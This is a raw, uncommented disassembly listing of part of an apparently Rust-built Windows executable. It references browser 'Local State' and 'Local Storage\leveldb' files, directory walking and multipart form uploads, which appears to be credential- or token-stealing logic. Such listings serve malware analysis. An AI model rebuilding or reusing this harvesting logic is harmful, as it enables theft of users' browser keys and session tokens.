lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.140008fbc
lea r8, [0x1402410f1]
mov r9d, 8
mov rcx, rsi
mov rdx, rdi
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410f9]
lea rdi, [rsp + 0xcb0]
mov r9d, 4
mov rcx, rdi
mov rdx, rbx
call fcn.140008f1c
mov rbx, qword [rsp + 0x158]
mov r14, qword [rsp + 0x160]
mov rcx, r14
call fcn.140006f8c
mov r15, rax
mov r12, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsi], r15
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], r14
lea rsi, [rsp + 0x7c0]
lea rbx, [rsp + 0x4e0]
mov rcx, rsi
mov rdx, rbx
call fcn.140008fbc
lea r8, [0x1402410fd]
mov r9d, 9
mov rcx, rbx
mov rdx, rsi
call fcn.14000902c
mov qword [rsp + 0x20], rbx
lea r8, [0x140241106]
lea rsi, [rsp + 0x180]
mov r9d, 5
mov rcx, rsi
mov rdx, rdi
call fcn.140008f1c
mov r14, qword [rsp + 0x218]
mov r15, qword [rsp + 0x220]
mov rcx, r15
call fcn.140006f8c
mov r12, rax
mov r13, rdx
mov rcx, rdx
mov rdx, r14
mov r8, r15
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rbx], r12
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r15
lea rbx, [rsp + 0x7c0]
lea r14, [rsp + 0x4e0]
mov rcx, rbx
mov rdx, r14
call fcn.140008fbc
lea r8, [0x14024110b]
mov r9d, 8
mov rcx, r14
mov rdx, rbx
call fcn.14000902c
mov qword [rsp + 0x20], r14
lea r8, [0x140241113]
lea r14, [rsp + 0x1070]
mov r9d, 4
mov rcx, r14
mov rdx, rsi
call fcn.140008f1c
lea rbx, [rsp + 0x4e0]
lea rdx, [rsp + 0x4c8]
mov rcx, rbx
call fcn.140008913
mov rax, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov qword [rsi], rax
mov qword [rsi + 8], r14
mov qword [rsp + 0x290], rsi
lea rax, str.multipart_form_data__boundary
mov qword [rdi], rax
mov eax, 1
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rcx, [0x14017336f]
mov qword [rsp + 0x298], rcx
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], rax
lea rdi, [rsp + 0xb0]
lea rdx, [rsp + 0xcb0]
mov rcx, rdi
call fcn.140104ec0
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
movdqu xmm0, xmmword [0x14030bc58]
movdqa xmmword [rsp + 0x250], xmm0
and qword [rsp + 0xc58], 0
movups xmm1, xmmword [0x14030bc48]
movaps xmmword [rsp + 0x240], xmm1
cmp dword [rbx], 2
jne 0x140016d0b
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0x4e0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rcx, [rsp + 0x240]
call fcn.1400f6d0e
jmp 0x140016e1c
movdqa xmmword [rsp + 0x440], xmm0
movaps xmmword [rsp + 0x430], xmm1
lea rdi, [rsp + 0x180]
mov rcx, rdi
mov rdx, rsi
call fcn.140052b1c
cmp byte [rdi + 0x20], 2
jne 0x140016d97
mov cl, 5
call fcn.140121994
mov rdi, rax
lea rcx, [rsp + 0xc58]
call fcn.14010e93d
lea rcx, [rsp + 0x430]
call fcn.1400f6d0e
lea rcx, [rsp + 0x5f0]
call fcn.140121ce0
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
call fcn.14010e77a
mov qword [rbx], 2
mov qword [rbx + 8], rdi
lea rcx, [rsp + 0x7c0]
mov r8d, 0x150
mov rdx, rbx
jmp 0x140016e17
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
lea r8, [rsp + 0xcb0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov eax, dword [rsp + 0x1a1]
mov dword [r8 + 0x21], eax
mov eax, dword [rsp + 0x1a4]
mov dword [r8 + 0x24], eax
lea rcx, [rsp + 0x508]
movdqa xmm0, xmmword [rsp + 0x430]
movaps xmm1, xmmword [rsp + 0x440]
lea rdx, [rsp + 0x290]
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
mov byte [r8 + 0x20], 0
call fcn.1400527a3
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0x4e0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, qword [rsp + 0xb0]
mov rdx, rsi
call fcn.140173443
cmp dword [rsp + 0x7c0], 2
movabs rdi, 0x8000000000000000
jne 0x140016e6d
lea rcx, [rsp + 0xcb0]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rcx, [rsp + 0x1070]
call fcn.140121a06
jmp 0x140017040
lea rax, [rsp + 0x1088]
mov r15, qword [rax + 0x20]
lea r12, [r15 + 0x38]
imul r13, qword [rax + 0x28], 0x110
xor ebx, ebx
test r13, r13
je 0x140016f5c
test byte [r15 + 0x18], 1
je 0x140016e9d
lea rax, [r15 + 0x30]
jmp 0x140016eac
cmp qword [r12 - 8], 0
mov rax, r12
je 0x140016fcb
mov rbp, qword [rax]
mov r8, qword [r15 + 8]
mov r9, qword [r15 + 0x10]
lea rax, [r15 + 0x40]
mov dl, byte [rsp + 0x10b8]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xcb0]
call fcn.14010d937
mov rsi, qword [rsp + 0xcc0]
mov rdi, qword [rsp + 0x1098]
cmp rdi, qword [rsp + 0x1088]
jne 0x140016f03
lea rcx, [rsp + 0x1088]
call fcn.14009130f
mov r14, qword [rsp + 0x1080]
add r15, 0x110
mov rax, qword [rsp + 0x1090]
imul rcx, rdi, 0x18
mov rdx, qword [rsp + 0xcc0]
mov qword [rax + rcx + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0xcb0]
movdqu xmmword [rax + rcx], xmm0
inc rdi
mov qword [rsp + 0x1098], rdi
add rbx, rbp
add rbx, rsi
add rbx, r14
add rbx, 0xa
add r12, 0x110
add r13, 0xfffffffffffffef0
jmp 0x140016e87
lea rdx, [rsp + 0x1070]
cmp qword [rdx + 0x40], 0
lea r14, [rbx + r14 + 6]
cmove r14, rbx
lea rsi, [rsp + 0xcb0]
mov rcx, rsi
call fcn.140121cea
mov rcx, rsi
call fcn.1401217a5
mov rsi, rax
mov ebx, 1
jmp 0x140016ff0
mov rdi, qword [rsp + 0x438]
mov r8, qword [rsp + 0x440]
lea rbx, [rsp + 0xfa0]
mov rcx, rbx
mov rdx, rdi
call fcn.140040b70
test byte [rbx], 1
je 0x140017f99
mov r13d, 0x200000
jmp 0x140017fc4
lea rsi, [rsp + 0xcb0]
lea rdx, [rsp + 0x1070]
mov rcx, rsi
call fcn.140121cea
mov rcx, rsi
call fcn.1401217a5
mov rsi, rax
xor ebx, ebx
lea rdi, [rsp + 0x8d0]
mov rcx, rdi
call fcn.140121ce0
and qword [rdi], 0
mov qword [rdi + 8], rsi
lea rax, [0x14030bdb8]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x20], r14
lea rcx, [rsp + 0xcb0]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
movabs rdi, 0x8000000000000000
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0xcb0]
mov rcx, rsi
call fcn.140121d43
cmp dword [rsi], 3
mov rbx, qword [rsp + 0x330]
mov bpl, byte [rsp + 0x148]
je 0x140018652
lea rsi, [rsp + 0x4e0]
lea rdx, [rsp + 0x7c0]
mov r8d, 0xc0
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rsi
call fcn.140006392
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
call fcn.140173443
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.140173443
lea rcx, [rsp + 0xfa0]
call fcn.140005693
mov sil, byte [rsp + 0xe0]
jmp 0x140017efa
xor eax, eax
lea r8, [r14 + 0x10]
pmovmskb r9d, xmm8
not r9d
add rsi, r14
lea r10, [rsp + 0x4f8]
mov qword [r10 - 0x18], rax
mov qword [r10 - 0x10], rcx
mov qword [r10 - 8], rdx
mov qword [r10], r14
mov qword [r10 + 8], r8
mov qword [r10 + 0x10], rsi
mov word [r10 + 0x18], r9w
mov qword [r10 + 0x20], rdi
lea r13, [rsp + 0x7c0]
test rdi, rdi
je 0x14001737b
lea rcx, [rsp + 0x4f8]
call fcn.14000c0f8
mov rdi, qword [rsp + 0x518]
dec rdi
mov qword [rsp + 0x518], rdi
test rax, rax
je 0x14001737b
mov r12, qword [rax - 0x30]
movabs rcx, 0x8000000000000000
cmp r12, rcx
je 0x14001737b
mov rsi, qword [rax - 0x28]
mov r15, qword [rax - 0x20]
mov rbp, qword [rax - 0x18]
mov r14, qword [rax - 0x10]
mov rcx, r13
mov rdx, rsi
mov r8, r15
call fcn.140001f96
mov ebx, dword [rsp + 0x7c0]
mov rcx, r13
call fcn.1400065eb
cmp ebx, 2
je 0x140017360
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], r14
mov rcx, r13
mov rdx, rsi
mov r8, r15
call fcn.14015a470
mov r13, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
mov qword [rsp + 0x20], 0xb
lea r14, [rsp + 0xcb0]
mov rcx, r14
mov rdx, r13
lea r9, str.Local_State
call fcn.140156990
mov rbx, rsi
lea rsi, [rsp + 0xf0]
mov rbp, qword [rsp + 0xcb8]
mov r8, qword [rsp + 0xcc0]
mov rcx, rsi
mov rdx, rbp
call fcn.14000c882
mov rcx, qword [rsp + 0xf0]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140017fe9
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0xcb0]
mov rdx, rbp
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r13
call fcn.140173443
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x7c0], rbx
mov rbx, qword [rsp + 0x70]
mov qword [rsp + 0x7c8], r15
lea rax, str.Local_Storageleveldb
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 0xd
lea rax, [0x140240e25]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 7
mov rcx, r14
lea r13, [rsp + 0x7c0]
mov rdx, r13
lea r8, [rsp + 0x7f0]
call fcn.1400068e1
mov r15, qword [rsp + 0xcb8]
mov r8, qword [rsp + 0xcc0]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 1
mov rcx, rsi
mov rdx, r15
mov r9, rbx
call fcn.14000dc97
mov rcx, qword [rsp + 0xcb0]
mov rdx, r15
call fcn.140173443
cmp qword [rsp + 0x100], 0
mov rcx, rsi
je 0x14001733f
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0xf0]
call fcn.140006d51
lea rcx, [rsp + 0xf0]
call fcn.14000647b
mov rcx, qword [rsp + 0x78]
mov rdx, rbx
call fcn.140173443
mov r14, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rcx, r12
mov rdx, rsi
call fcn.140173443
mov rcx, rbp
mov rdx, r14
call fcn.140173443
jmp 0x14001711c
lea r12, [rsp + 0x4e0]
mov rcx, r12
call fcn.140004f2a
lea rcx, [rsp + 0xc98]
and qword [rcx], 0
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x10], 0
and qword [rsp + 0xbf8], 0
mov qword [rsp + 0xc00], rax
and qword [rsp + 0xc08], 0
and qword [rsp + 0xc10], 0
mov qword [rsp + 0xc18], rax
and qword [rsp + 0xc20], 0
and qword [rsp + 0xc28], 0
mov qword [rsp + 0xc30], rax
and qword [rsp + 0xc38], 0
and qword [rsp + 0xc40], 0
mov qword [rsp + 0xc48], rax
and qword [rsp + 0xc50], 0
mov rax, qword [rsp + 0x798]
imul rcx, qword [rsp + 0x7a0], 0x30
add rcx, rax
mov qword [rsp + 0x50], rcx
lea rdi, [rsp + 0xcb0]
lea rbp, [0x1400dbe08]
lea r14, [rsp + 0xc58]
cmp rax, qword [rsp + 0x50]
je 0x1400175bf
lea rcx, [rax + 0x30]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
mov rbx, qword [rax + 0x18]
mov qword [rsp + 0xcb0], rcx
add rcx, 0x10
mov qword [rsp + 0xcb8], rcx
mov qword [rsp + 0xcc0], rdx
mov word [rsp + 0xcc8], r8w
mov qword [rsp + 0xcd0], rbx
test rbx, rbx
je 0x1400175b5
mov rcx, rdi
call fcn.14000c194
mov rbx, qword [rsp + 0xcd0]
dec rbx
mov qword [rsp + 0xcd0], rbx
test rax, rax
je 0x1400175b5
lea rcx, [rax - 0x48]
lea rdx, [rax - 0x30]
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x210], rdx
add rax, 0xffffffffffffffe8
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], rbp
lea rax, [rsp + 0x210]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rbp
lea rax, [0x140240dd8]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], 4
and qword [rsp + 0x500], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rbp
mov qword [rsp + 0x4f0], r13
mov qword [rsp + 0x4f8], 3
mov rcx, r14
mov rdx, r12
call fcn.140006c37
mov r15, qword [rsp + 0xc58]
mov rsi, r13
mov r13, qword [rsp + 0xc60]
mov r8, qword [rsp + 0xc68]
lea rcx, [rsp + 0xc98]
mov rdx, r13
call fcn.14010cf93
mov rcx, r15
mov rdx, r13
mov r13, rsi
call fcn.140173443
jmp 0x14001749b
mov rax, qword [rsp + 0x48]
jmp 0x14001743d
mov rax, qword [rsp + 0x7b0]
imul rcx, qword [rsp + 0x7b8], 0x48
add rcx, rax
mov qword [rsp + 0x50], rcx
lea rbx, [0x1402abaa0]
cmp rax, qword [rsp + 0x50]
je 0x140017845
mov rsi, qword [rax + 8]
mov qword [rsp + 0x48], rax
imul r14, qword [rax + 0x10], 0x18
test r14, r14
je 0x14001769f
mov qword [rsp + 0xcb0], rsi
add rsi, 0x18
mov qword [rsp + 0x7c0], rbx
mov qword [rsp + 0x7c8], 2
and qword [rsp + 0x7e0], 0
mov qword [rsp + 0x4e0], rdi
mov qword [rsp + 0x4e8], rbp
mov qword [rsp + 0x7d0], r12
mov qword [rsp + 0x7d8], 1
lea rcx, [rsp + 0x4c8]
lea rdx, [rsp + 0x7c0]
call fcn.140006c37
mov r15, qword [rsp + 0x4c8]
mov r13, qword [rsp + 0x4d0]
mov r8, qword [rsp + 0x4d8]
lea rcx, [rsp + 0xc10]
mov rdx, r13
call fcn.14010cf93
mov rcx, r15
mov rdx, r13
call fcn.140173443
add r14, 0xffffffffffffffe8
jmp 0x1400175f8
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + 0x20]
imul rsi, qword [rcx + 0x28], 0x30
test rsi, rsi
je 0x140017782
lea r14, [rax + 0x30]
mov qword [rsp + 0xf0], rax
add rax, 0x18
mov qword [rsp + 0xcb0], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], rbp
lea rax, [0x140240d90]
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], 3
and qword [rsp + 0x7e0], 0
mov qword [rsp + 0x4f0], rdi
mov qword [rsp + 0x4f8], rbp
mov qword [rsp + 0x7d0], r12
mov qword [rsp + 0x7d8], 2
lea rcx, [rsp + 0x390]
lea rdx, [rsp + 0x7c0]
call fcn.140006c37
mov r15, qword [rsp + 0x390]
mov r13, qword [rsp + 0x398]
mov r8, qword [rsp + 0x3a0]
lea rcx, [rsp + 0xc28]
mov rdx, r13
call fcn.14010cf93
mov rcx, r15
mov rdx, r13
call fcn.140173443
add rsi, 0xffffffffffffffd0
mov rax, r14
jmp 0x1400176ad
mov rax, qword [rsp + 0x48]
mov rsi, qword [rax + 0x38]
imul r14, qword [rax + 0x40], 0x18
test r14, r14
je 0x140017837
mov qword [rsp + 0xcb0], rsi
add rsi, 0x18
mov qword [rsp + 0x7c0], rbx
mov qword [rsp + 0x7c8], 2
and qword [rsp + 0x7e0], 0
mov qword [rsp + 0x4e0], rdi
mov qword [rsp + 0x4e8], rbp
mov qword [rsp + 0x7d0], r12
mov qword [rsp + 0x7d8], 1
lea rcx, [rsp + 0x418]
lea rdx, [rsp + 0x7c0]
call fcn.140006c37
mov r15, qword [rsp + 0x418]
mov r13, qword [rsp + 0x420]
mov r8, qword [rsp + 0x428]
lea rcx, [rsp + 0xc40]
mov rdx, r13
call fcn.14010cf93
mov rcx, r15
mov rdx, r13
call fcn.140173443
add r14, 0xffffffffffffffe8
jmp 0x140017790
mov rax, qword [rsp + 0x48]
add rax, 0x48
jmp 0x1400175df
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x50], rax
imul rdx, qword [rsp + 0x388], 0x30
mov rax, qword [rsp + 0x380]
add rdx, rax
lea r15, [rsp + 0x4f8]
lea r12, [rsp + 0x100]
lea rbp, [rsp + 0xcb0]
lea rsi, [rsp + 0xbf8]
mov qword [rsp + 0x58], rax
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x48], rdx
cmp rax, rdx
je 0x140017c11
lea r14, [rax + 0x30]
mov rbx, qword [rax]
test rbx, rbx
je 0x140017c14
mov r13, qword [rax + 0x18]
mov rax, qword [rax + 8]
lea rdi, [rax + 1]
movdqa xmm8, xmmword [rbx]
test rax, rax
je 0x140017901
mov edx, 0x60
mov r8d, 0x10
lea rcx, [rsp + 0x7c0]
mov r9, rdi
call fcn.14000bc8c
mov rdx, qword [rsp + 0x7c0]
mov rax, qword [rsp + 0x7c8]
mov rcx, rbx
sub rcx, qword [rsp + 0x7d0]
jmp 0x140017903
xor edx, edx
lea r8, [rbx + 0x10]
pmovmskb r9d, xmm8
not r9d
add rdi, rbx
mov qword [rsp + 0x4e0], rdx
mov qword [rsp + 0x4e8], rax
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4f8], rbx
mov qword [rsp + 0x500], r8
mov qword [rsp + 0x508], rdi
mov word [rsp + 0x510], r9w
mov qword [rsp + 0x518], r13
test r13, r13
movabs rdi, 0x8000000000000000
je 0x140017bd8
mov rcx, r15
call fcn.14000c146
mov r13, qword [rsp + 0x518]
dec r13
mov qword [rsp + 0x518], r13
test rax, rax
je 0x140017ba2
mov rcx, qword [rax - 0x60]
mov rdx, qword [rax - 0x38]
mov qword [rsp + 0x110], rdx
movups xmm0, xmmword [rax - 0x48]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rax - 0x58]
movaps xmmword [rsp + 0xf0], xmm0
mov rdx, qword [rax - 0x20]
mov qword [rsp + 0x3f0], rdx
movups xmm0, xmmword [rax - 0x30]
movaps xmmword [rsp + 0x3e0], xmm0
movdqu xmm0, xmmword [rax - 0x18]
movdqa xmmword [rsp + 0x3c0], xmm0
mov rax, qword [rax - 8]
mov qword [rsp + 0x3d0], rax
cmp rcx, rdi
je 0x140017ba2
mov qword [rsp + 0x3a8], rcx
movaps xmm0, xmmword [rsp + 0xf0]
lea rax, [rsp + 0x3b0]
movups xmmword [rax], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x280], rax
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x270], xmm0
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x130], rax
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x120], xmm0
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x160], rax
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqa xmmword [rsp + 0x150], xmm0
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x7c0], rax
lea rax, [0x1400072e9]
mov qword [rsp + 0x7c8], rax
lea rcx, [rsp + 0x270]
mov qword [rsp + 0x7d0], rcx
mov qword [rsp + 0x7d8], rax
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rax
lea rcx, [0x140240d40]
mov qword [rsp + 0xcb0], rcx
mov qword [rsp + 0xcb8], 5
and qword [rsp + 0xcd0], 0
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x7f0], rcx
mov qword [rsp + 0x7f8], rax
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0xcc0], rax
mov qword [rsp + 0xcc8], 4
lea rcx, [rsp + 0x210]
mov rdx, rbp
call fcn.140006c37
mov rdi, qword [rsp + 0x210]
mov rbx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
mov rcx, rsi
mov rdx, rbx
call fcn.14010cf93
mov rcx, rdi
mov rdx, rbx
call fcn.140173443
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.140173443
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call fcn.140173443
mov rcx, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x278]
call fcn.140173443
mov rcx, qword [rsp + 0x3a8]
mov rdx, qword [rsp + 0x3b0]
call fcn.140173443
jmp 0x140017953
test r13, r13
je 0x140017bd8
mov rcx, r15
call fcn.14000c146
mov rdi, qword [rsp + 0x518]
dec rdi
mov qword [rsp + 0x518], rdi
test rax, rax
je 0x140017bd8
add rax, 0xffffffffffffffa0
mov rcx, rax
call fcn.14000501f
test rdi, rdi
jne 0x140017ba7
mov rdx, qword [rsp + 0x4e0]
test rdx, rdx
je 0x140017bfa
mov r8, qword [rsp + 0x4e8]
mov rcx, qword [rsp + 0x4f0]
call fcn.1400072fc
mov rax, r14
movabs rdi, 0x8000000000000000
mov rdx, qword [rsp + 0x48]
jmp 0x14001789a
mov r14, rdx
sub rdx, r14
mov ecx, 0x30
mov rax, rdx
xor edx, edx
div rcx
mov rcx, r14
mov rdx, rax
call fcn.1400056f0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.140005717
mov rax, qword [rsp + 0xca8]
lea rcx, [rsp + 0x838]
mov qword [rcx - 0x68], rax
movups xmm0, xmmword [rsp + 0xc98]
movaps xmmword [rcx - 0x78], xmm0
movups xmm0, xmmword [rsp + 0xc10]
movups xmmword [rcx - 0x60], xmm0
mov rax, qword [rsp + 0xc20]
mov qword [rcx - 0x50], rax
movups xmm0, xmmword [rsp + 0xc28]
movaps xmmword [rcx - 0x48], xmm0
mov rax, qword [rsp + 0xc38]
mov qword [rcx - 0x38], rax
movups xmm0, xmmword [rsp + 0xc40]
movups xmmword [rcx - 0x30], xmm0
mov rax, qword [rsp + 0xc50]
mov qword [rcx - 0x20], rax
mov rax, qword [rsp + 0xc08]
mov qword [rcx - 8], rax
movdqu xmm0, xmmword [rsp + 0xbf8]
movdqa xmmword [rcx - 0x18], xmm0
lea rsi, [rsp + 0x400]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov qword [rsp + 0x20], 1
lea r9, [0x140316fe8]
call fcn.1400c5d3a
lea rcx, [rsp + 0x1170]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x90
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rcx, [rsp + 0x750]
call fcn.140004e63
lea rcx, [rsp + 0xb0]
call fcn.140004e63
mov rcx, rsi
call fcn.14000647b
jmp 0x14001230f
movups xmm0, xmmword [rsp + 0xcb0]
movups xmm1, xmmword [rsp + 0xcc0]
lea r8, [rsp + 0x4e0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov eax, dword [rsp + 0xcd1]
mov dword [r8 + 0x21], eax
mov eax, dword [rsp + 0xcd4]
mov dword [r8 + 0x24], eax
lea rcx, [rsp + 0x7e8]
movdqa xmm0, xmmword [rsp + 0x430]
movaps xmm1, xmmword [rsp + 0x440]
lea rdx, [rsp + 0x290]
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
mov byte [r8 + 0x20], 0
call fcn.1400527a3
lea rsi, [rsp + 0x4e0]
lea rdi, [rsp + 0x7c0]
mov r8d, 0x150
mov rcx, rsi
mov rdx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [0x140241028]
mov qword [rdi], rax
lea rax, [rsp + 0x390]
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
mov qword [rsp + 0xcb0], rax
lea rax, [0x1400072e9]
mov qword [rsp + 0xcb8], rax
lea rax, [rsp + 0xcb0]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 1
lea rcx, [rsp + 0x1058]
lea rdx, [rsp + 0x7c0]
call fcn.140006c37
cmp dword [rsi], 2
jne 0x140017e48
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0x4e0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, qword [rsp + 0x1058]
mov rdx, qword [rsp + 0x1060]
call fcn.140173443
jmp 0x140017ea3
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0x1058]
mov rcx, rsi
call fcn.140001450
lea rdi, [rsp + 0x5f0]
mov rcx, rdi
call fcn.140006504
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0x4e0]
mov r8d, 0x150
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rsi, [rsp + 0x4e0]
lea rdx, [rsp + 0x7c0]
mov rcx, rsi
call fcn.140121d43
cmp dword [rsi], 3
movabs rdi, 0x8000000000000000
je 0x140018636
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0x4e0]
mov r8d, 0xc0
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rsi
call fcn.140006392
mov sil, 1
mov bpl, 1
mov rcx, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x398]
call fcn.140173443
lea rcx, [rsp + 0x4c8]
call fcn.140121d34
test bpl, bpl
je 0x140017f36
mov rcx, qword [rsp + 0xbc0]
mov rdx, qword [rsp + 0xbc8]
call fcn.140173443
test sil, sil
je 0x140017f50
mov rcx, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x758]
call fcn.140173443
cmp rbx, rdi
jne 0x140017f6c
cmp qword [rsp + 0x1170], rdi
je 0x140017f6c
lea rcx, [rsp + 0x1170]
call fcn.140005693
movaps xmm6, xmmword [rsp + 0x12e0]
movaps xmm7, xmmword [rsp + 0x12f0]
movaps xmm8, xmmword [rsp + 0x1300]
add rsp, 0x1318
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [rsp + 0xfa0]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, rbx
call fcn.140045d10
cmp byte [rbx], 0
mov r13d, 0x200000
jne 0x140017fc4
mov r13, qword [rsp + 0xfa8]
mov rcx, rsi
mov rdx, rdi
call fcn.140173443
movabs rdi, 0x8000000000000000
lea rax, [r13 + 1]
mov qword [0x140354180], rax
jmp 0x140012990
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x1170], rdi
mov rcx, qword [rsp + 0xcb0]
mov rdx, rbp
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r13
call fcn.140173443
mov rcx, r12
mov rdx, rbx
call fcn.140173443
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
call fcn.140173443
lea rcx, [rsp + 0x4e0]
call fcn.140004f2a
jmp 0x1400122c0
lea r8, [rsp + 0x290]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, str.src_main.rs
call fcn.140042de0
lea r8, [rsp + 0x210]
mov qword [r8], rax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
fldcw word [rdi]
add byte [rbp + rcx*4 + 0xd], cl
je 0x14001810a
and al, byte [rax]
mov edx, 0x2b
call fcn.140041b70
lea rcx, str.src_main.rs
call fcn.140042de0
lodsd eax, dword es:[rsi]
add al, byte [rax]
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, [0x140316b95]
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fwalkdir_2.5.0_srclib.rsBUG:_stack_should_be_non_empty
mov edx, 0x1e
call fcn.140042e00
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov edx, 0x29
call fcn.14003fe40
